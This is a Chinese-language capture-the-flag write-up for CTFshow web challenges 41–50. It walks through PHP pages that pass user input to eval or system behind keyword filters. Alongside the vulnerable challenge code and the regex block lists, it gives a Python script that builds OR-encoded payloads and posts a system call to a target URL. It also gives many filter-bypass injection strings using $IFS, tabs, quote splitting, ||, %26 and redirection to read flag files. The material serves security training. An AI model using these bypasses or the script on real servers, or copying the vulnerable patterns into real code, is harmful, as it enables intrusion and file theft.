CTFSHOW web 命令执行WriteUP Part2
WEB41
过滤不严,命令执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: [email protected]
# @link: https://ctf.show
*/
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
|
这次没有思路了,看羽师傅写的程序分析了一下,大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
羽师傅先把或运算的结果放进txt,然后查表构造payload,用了两个脚本,这里给一个一体化的脚本,直接输入url可以直接获取执行结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
import re
import urllib
from urllib import parse
import requests
contents = []
for i in range(256):
for j in range(256):
hex_i = '{:02x}'.format(i)
hex_j = '{:02x}'.format(j)
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
continue
else:
a = '%' + hex_i
b = '%' + hex_j
c = chr(int(a[1:], 16) | int(b[1:], 16))
if 32 <= ord(c) <= 126:
contents.append([c, a, b])
def make_payload(cmd):
payload1 = ''
payload2 = ''
for i in cmd:
for j in contents:
if i == j[0]:
payload1 += j[1]
payload2 += j[2]
break
payload = '("' + payload1 + '"|"' + payload2 + '")'
return payload
URL = input('url:')
payload = make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)
|
WEB42
命令执行,需要严格的过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
|
Linus Benedict Torvalds 在/dev/null走了一圈,然后回来了。
这道题会把回显丢弃,不过由于并不影响传参过程,直接传参?c=cp flag.php 1.txt
然后访问url/1.txt就直接获取flag了,下面再介绍一些其他的方法,可以参考一下:
使用 " ; " " || " " & " " && " 分隔
/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
可构造playload:
url/?c=tac flag.php||
url/?c=tac flag.php%26
注意,这里的&需要url编码
WEB43
命令执行,需要严格的过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
|
这道题相比WEB42仅仅多了一层过滤cat指令和分号,使用上一题我的cp传参仍然有效,同时也可以使用&& ||等等,这里不详细解释了
WEB44
命令执行,需要严格的过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
|
不用多解释啥了,只是多了个过滤flag关键字而已,直接cp f* 1.txt 或者…tac f*等等等等等都可以的
WEB45
命令执行,需要严格的过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
|
这次把空格也给过滤了,于是需要payload把空格替换掉,例如:
- 使用Tab键(%09)
- 使用换行符(%0a)
- 使用$IFS变量(Linux系统中的内部变量,表示分隔符)
- 使用<(重定向符)
构造payload:
1
|
?c=cp$IFS'f'*$IFS'1.txt'
|
访问1.txt即可获取flag。
或者也可以构造这样的payload抵消掉后面的>/dev/null一步完成:
1
2
3
|
?c=tac%09f*.php||
?c=tac$IFS$f*||
?c=tac$IFS$f*%26
|
*必须用%26而不能用&
WEB46
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
|
这道题过滤了空格,所有数字以及$和*,怎么办呢?
我们在shell做了个实验:
1
2
|
root@hcss-ecs-b1d9:~# c''at fl''ag
falg{1s_n0t_h3r3}
|
可以发现''
会被忽略并输出原本的命令内容 '
的网页编码为%27
我们可以根据这个原理构造payload:
1
|
?c=tac%09fl%27%27ag.php||
|
这里的数字会被转译为符号,不会被过滤,直接传参即可。
另外?可以代替*,?指代一个字符位。
WEB47
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
|
和上题基本一样,只是多过滤了一些输出文件的关键词,但是并不影响我们上题payload的思路
不过这道题也能让我们更加了解终端输出文件内容的一些新的方法,可以积累一下。
WEB48
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
|
同上题目,多过滤了一些可以利用的payload,但是单引号仍然可以使用,下面简单介绍一些这里一些命令的使用方法:
一些文件内容查看命令的利用方式
-
more:分页显示文件内容
1
|
more flag.php # 分页显示flag.php的内容
|
-
less:与more类似,但功能更强大,可以向前翻页
1
|
less flag.php # 交互式查看flag.php
|
-
head:显示文件开头部分
1
2
|
head flag.php # 默认显示前10行
head -n 5 flag.php # 显示前5行
|
-
tail:显示文件结尾部分
1
2
|
tail flag.php # 默认显示最后10行
tail -n 3 flag.php # 显示最后3行
|
-
sort:对文件内容进行排序显示
1
|
sort flag.php # 按字母顺序排序显示
|
-
sed:流编辑器,可以对文本进行替换、删除等操作
1
2
|
sed 's/password/PASSWORD/g' flag.php # 替换所有password为PASSWORD并显示
sed -n '5p' flag.php # 只显示第5行
|
-
cut:剪切文件的一部分内容
1
|
cut -d ":" -f 1 flag.php # 以冒号为分隔符,显示第1个字段
|
-
awk:强大的文本处理工具
1
2
|
awk '{print $1}' flag.php # 打印每行的第一个字段
awk '/flag/{print}' flag.php # 打印包含"flag"的行
|
-
strings:提取文件中的可打印字符串
1
|
strings flag.php # 显示flag.php中的所有可打印字符串
|
-
od:八进制转储,可以查看二进制文件
1
2
|
od -c flag.php # 以字符形式显示文件内容
od -x flag.php # 以十六进制形式显示
|
-
curl:网络传输工具
1
2
|
curl http://example.com/flag.php # 获取远程文件内容
curl -o local.txt http://example.com/flag.php # 下载到本地
|
-
反引号 `:命令替换,执行命令并返回结果
1
|
echo `cat flag.php` # 执行cat flag.php并将结果传给echo
|
-
tac命令(反向cat):
- nl命令(带行号显示):
- grep命令:
1
2
|
grep '' flag.php # 显示所有行
grep -v "不存在的字符串" flag.php # 显示不包含指定字符串的行(即所有行)
|
- rev命令(先反转再反转回来):
- base64编码:
1
2
|
base64 flag.php
# 然后在本地解码
|
- hexdump:
- find命令的-exec选项:
1
|
find flag.php -exec cat {} \;
|
- while循环读取:
1
|
while read line;do echo $line;done<flag.php
|
WEB49
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
|
这道题乍一看把咱们的%
转义符号给干掉了,但是实际上并没有,传参到这里以后早就自动转为符号了,所以依然可以使用%xx
转义来写payload,WEB46的payload在这里仍然可用。
WEB50
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
|
这里%09被过滤了,可以换成<这种不需要空格的词。
1
|
?c=tac<fl%27%27ag.php||
|
总结
在这一系列的CTF挑战中,我们探索了各种命令执行绕过技巧,从简单的过滤到复杂的多重过滤。以下是我们学到的主要技术:
-
空格绕过:
- 使用Tab键(%09)
- 使用$IFS变量
- 使用重定向符号<
- 使用单引号’‘分隔
-
关键字绕过:
- 使用单引号分割关键字(如c’‘at)
- 使用通配符(*和?)替代完整文件名
- 使用替代命令(tac代替cat)
-
特殊字符绕过:
- URL编码(如%26代替&)
- 使用||、&、&&等逻辑运算符分隔命令
-
输出重定向绕过:
- 使用||、&等运算符抵消>/dev/null的效果
-
文件内容查看的多种方法:
- 除了常见的cat,还有tac、nl、grep、rev等多种命令
- 使用base64编码后在本地解码
这些技巧不仅适用于CTF比赛,也对理解Web安全中的命令注入漏洞防护有重要意义。通过学习这些绕过技术,我们能更好地理解如何构建安全的Web应用,防止命令注入攻击。
结语
命令执行漏洞是Web安全中的一个重要方面,通过这系列的CTF挑战,我们不仅学习了如何利用这些漏洞,更重要的是理解了如何防御它们。安全不是一成不变的,攻击者总是能找到新的绕过方法,因此防御者需要不断学习和更新知识。